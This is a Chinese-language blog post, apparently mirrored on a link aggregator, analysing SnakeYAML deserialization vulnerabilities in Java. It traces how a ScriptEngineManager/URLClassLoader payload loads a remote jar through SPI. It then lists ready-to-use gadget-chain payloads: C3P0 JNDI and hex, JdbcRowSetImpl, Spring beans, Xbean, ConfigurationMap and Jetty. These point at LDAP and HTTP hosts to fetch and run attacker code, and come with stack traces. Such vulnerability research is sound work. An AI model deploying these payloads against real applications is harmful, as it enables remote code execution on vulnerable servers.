2

SnakeYaml反序列化分析 - F12~

 4 weeks ago
source link: https://www.cnblogs.com/F12-blog/p/18151239
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

SnakeYaml是Java中解析yaml的库,而yaml是一种人类可读的数据序列化语言,通常用于编写配置文件等。yaml真是到哪都有啊。

<dependency>
  <groupId>org.yaml</groupId>
  <artifactId>snakeyaml</artifactId>
  <version>1.32</version>
</dependency>

SPI机制

SPI机制就是,服务端提供接口类和寻找服务的功能,客户端用户这边根据服务端提供的接口类来定义具体的实现类,然后服务端会在加载该实现类的时候去寻找该服务即META-INF/services/目录里的配置文件中指定的类。这就是SPI和传统的API的区别,API是服务端自己提供接口类并自己实现相应的类供客户端进行调用,而SPI则是提供接口类和服务寻找功能、具体的实现类由客户端实现并调用。

准备一个接口

package com.ctf.Impl;

public interface Shopping {
    String buyMask();
}

准备两个实现类

package com.ctf;

import com.ctf.Impl.Shopping;

public class BuyN95 implements Shopping {
    @Override
    public String buyMask() {
        return "Buy N95";
    }
}
package com.ctf;

import com.ctf.Impl.Shopping;

public class BuyNormal implements Shopping {
    @Override
    public String buyMask() {
        return "Buy Normal";
    }
}

在resources目录下新建目录META-INF/services,在services目录下建一个配置文件,配置文件名为接口类的路径+名称,比如我的就是com.ctf.Impl.Shopping,写入两个实现类路径

2746479-20240422165524422-1818961747.png#id=Owzx3&originHeight=149&originWidth=1512&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=

然后把项目打包成jar包,File >> Project Structure >> Artifacts >> + >> JAR >> From modules with dependencies,记得选择把META-INF添加,Build Artifacts

2746479-20240422170528186-950753224.png#height=266&id=NsjZw&originHeight=271&originWidth=748&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=&width=734.7142944335938

out目录下有jar包,这时新建一个项目,把生成的jar包作为依赖导入

2746479-20240422170612312-1699029887.png#id=emg6v&originHeight=977&originWidth=2328&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=

我们可以把上面生成的jar包理解为客户端用户根据SPI接口自己定义了一套实现并打包成jar,然后下面写入的测试代码,就是服务端的代码,服务端引入了jar包和其中的META-INF/services下的配置文件,通过ServiceLoader.load执行了相关操作。

Setter

准备一个POJO

package com.ctf.POJO;

public class User {

    String name;
    int age;

    public User() {
        System.out.println("User构造函数");
    }

    public String getName() {
        System.out.println("User.getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("User.setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("User.getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("User.setAge");
        this.age = age;
    }
}

序列化流程

package com.ctf;

import com.ctf.POJO.User;
import org.yaml.snakeyaml.Yaml;

public class SetterPoc {
    public static void main(String[] args) {
        User user = new User();
        user.setName("F12");
        user.setAge(20);
        String str = serialize(user);
        System.out.println(str);
    }
    public static String serialize(Object obj){
        Yaml yaml = new Yaml();
        return yaml.dump(obj);
    }
    public static String unserialize(String str){
        Yaml yaml = new Yaml();
        return yaml.load(str);
    }
}

getter和setter都调用了

2746479-20240422174744380-651748674.png#id=PSxK4&originHeight=231&originWidth=1566&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=

反序列化流程

package com.ctf;

import com.ctf.POJO.User;
import org.yaml.snakeyaml.Yaml;

public class SetterPoc {
    public static void main(String[] args) {
        User user = new User();
        user.setName("F12");
        user.setAge(20);
        //        String str = serialize(user);
        //        System.out.println(str);
        unserialize("!!com.ctf.POJO.User {age: 20, name: F12}");
    }
    public static String serialize(Object obj){
        Yaml yaml = new Yaml();
        return yaml.dump(obj);
    }
    public static String unserialize(String str){
        Yaml yaml = new Yaml();
        return yaml.load(str);
    }
}

只调用了setter

2746479-20240422175059988-731662000.png#id=EddBP&originHeight=124&originWidth=809&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=

SnakeYaml反序列化漏洞

影响版本:1.33以下的全版本

github有个写好的SPI:https://github.com/artsploit/yaml-payload/tree/master,打包成jar包就行

package com.ctf;

import org.yaml.snakeyaml.Yaml;

public class POC {
    public static void main(String[] args) {
        String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://localhost:8000/yaml-payload.jar\"]]]]";
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }
}

load处打断点,跟进

跟进loadFromReader

跟进getSingleData

这里对tag进行了修改,变为一种yaml规范的格式,这个是个重点,先记住,跟进constructDocument方法


跟进constructObject方法

跟进check

可以看出是要准备实例化了,进入constructor.construct

继续跟进construct,代码有点多,看重点代码

for (Node argumentNode : snode.getValue()) {
    Class<?> type = c.getParameterTypes()[index];
    // set runtime classes for arguments
    argumentNode.setType(type);
    argumentList[index++] = constructObject(argumentNode);
}

这里value有一个嵌套,他会一层层的往里去实例化,最后分别作为各自的参数,比如UrlClassLoader是ScriptEngine的参数,Url是UrlCLassLoader的参数。然后实例化的顺序是从URL->URLCLASSLOADER->ScriptEngine顺序去实例化的

2746479-20240422182603132-1841336830.png#id=eHnYC&originHeight=329&originWidth=1382&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=

最后会实例化
2746479-20240422182714208-1248600659.png#id=JXxVN&originHeight=64&originWidth=796&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
因为有个迭代,迭代完才能到这里实例化,所以我们直接在ScriptEngineManage的实例化方法给断点

2746479-20240422182913004-1419997236.png#id=BWzKI&originHeight=157&originWidth=1404&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=

跟进init方法

2746479-20240422182930026-1742091449.png#id=ItVRx&originHeight=329&originWidth=1487&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=

跟进initEngines方法

2746479-20240422183043959-977532806.png#id=DSWzs&originHeight=522&originWidth=1581&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=

这里调用ServiceLoader

2746479-20240422183131183-2083804939.png#id=dC9tl&originHeight=297&originWidth=1567&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=

这里就会去加载用户自定义的实现类,也就会触发我们写的恶意类

男男搭配,干活不累

干活不累,但是调试很累,所以师傅们自己调试吧,就不写上面了

SnakeYaml+C3P0

之前研究过C3P0,有两条链,不出网的是HEX,出网的是JNDI,放payload

JNDI(对应setJndiName)

!!com.mchange.v2.c3p0.JndiRefForwardingDataSource
  jndiName: "ldap://localhost:1099/Exploit"
  loginTimeout: 0

HEX(对应实例化方法)

!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
  userOverridesAsString: "HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383030302f740003466f6f;"

SnakeYaml+JdbcRowSetImpl

!!com.sun.rowset.JdbcRowSetImpl
  dataSourceName: "ldap://localhost:1389/Exploit"
  autoCommit: true

SnakeYaml+PropertyPathFactoryBean

!!org.springframework.beans.factory.config.PropertyPathFactoryBean
  targetBeanName: "ldap://localhost:1389/Exploit"
  propertyPath: mi1k7ea
  beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
                 shareableResources: ["ldap://localhost:1389/Exploit"]
lookup:92, JndiLocatorSupport (org.springframework.jndi)
doGetSingleton:220, SimpleJndiBeanFactory (org.springframework.jndi.support)
getBean:113, SimpleJndiBeanFactory (org.springframework.jndi.support)
getBean:106, SimpleJndiBeanFactory (org.springframework.jndi.support)
setBeanFactory:196, PropertyPathFactoryBean (org.springframework.beans.factory.config)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
set:77, MethodProperty (org.yaml.snakeyaml.introspector)
constructJavaBean2ndStep:263, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:149, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:309, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:164, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:148, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:525, Yaml (org.yaml.snakeyaml)
load:453, Yaml (org.yaml.snakeyaml)

SnakeYaml+DefaultBeanFactoryPointcutAdvisor

!!org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor
  adviceBeanName: "ldap://localhost:1389/Exploit"
  beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
                 shareableResources: ["ldap://localhost:1389/Exploit"]

SnakeYaml+Xbean

!!javax.management.BadAttributeValueExpException[!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding ["foo",!!javax.naming.Reference [foo, "Exploit", "http://localhost:8000/"],!!org.apache.xbean.naming.context.WritableContext []]]

这个使用BadAttibute的构造方法触发Xbean的toString

SnakeYaml+ConfigurationMap

!!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], "ldap://127.0.0.1:9999/Evil"]]
getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
getBaseContext:452, JNDIConfiguration (org.apache.commons.configuration)
getKeys:203, JNDIConfiguration (org.apache.commons.configuration)
getKeys:182, JNDIConfiguration (org.apache.commons.configuration)
<init>:161, ConfigurationMap$ConfigurationSet$ConfigurationSetIterator (org.apache.commons.configuration)
<init>:154, ConfigurationMap$ConfigurationSet$ConfigurationSetIterator (org.apache.commons.configuration)
iterator:207, ConfigurationMap$ConfigurationSet (org.apache.commons.configuration)
hashCode:528, AbstractMap (java.util)
constructMapping2ndStep:366, BaseConstructor (org.yaml.snakeyaml.constructor)
constructMapping2ndStep:147, SafeConstructor (org.yaml.snakeyaml.constructor)
constructMapping:354, BaseConstructor (org.yaml.snakeyaml.constructor)
construct:489, SafeConstructor$ConstructYamlMap (org.yaml.snakeyaml.constructor)
constructObject:182, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:141, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:127, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:450, Yaml (org.yaml.snakeyaml)
load:369, Yaml (org.yaml.snakeyaml)

SnakeYaml+Jetty

[!!org.eclipse.jetty.plus.jndi.Resource ["__/obj", !!javax.naming.Reference ["foo", "Exploit", "http://localhost:8000/"]], !!org.eclipse.jetty.plus.jndi.Resource ["obj/test", !!java.lang.Object []]]
<init>:2, Exploit
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
lookup:503, NamingContext (org.eclipse.jetty.jndi)
lookup:578, NamingContext (org.eclipse.jetty.jndi)
bind:69, NamingUtil (org.eclipse.jetty.jndi)
save:202, NamingEntry (org.eclipse.jetty.plus.jndi)
<init>:39, Resource (org.eclipse.jetty.plus.jndi)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
construct:548, Constructor$ConstructSequence (org.yaml.snakeyaml.constructor)
construct:309, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
constructSequenceStep2:376, BaseConstructor (org.yaml.snakeyaml.constructor)
constructSequence:360, BaseConstructor (org.yaml.snakeyaml.constructor)
construct:499, SafeConstructor$ConstructYamlSeq (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:164, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:148, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:525, Yaml (org.yaml.snakeyaml)
load:453, Yaml (org.yaml.snakeyaml)

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK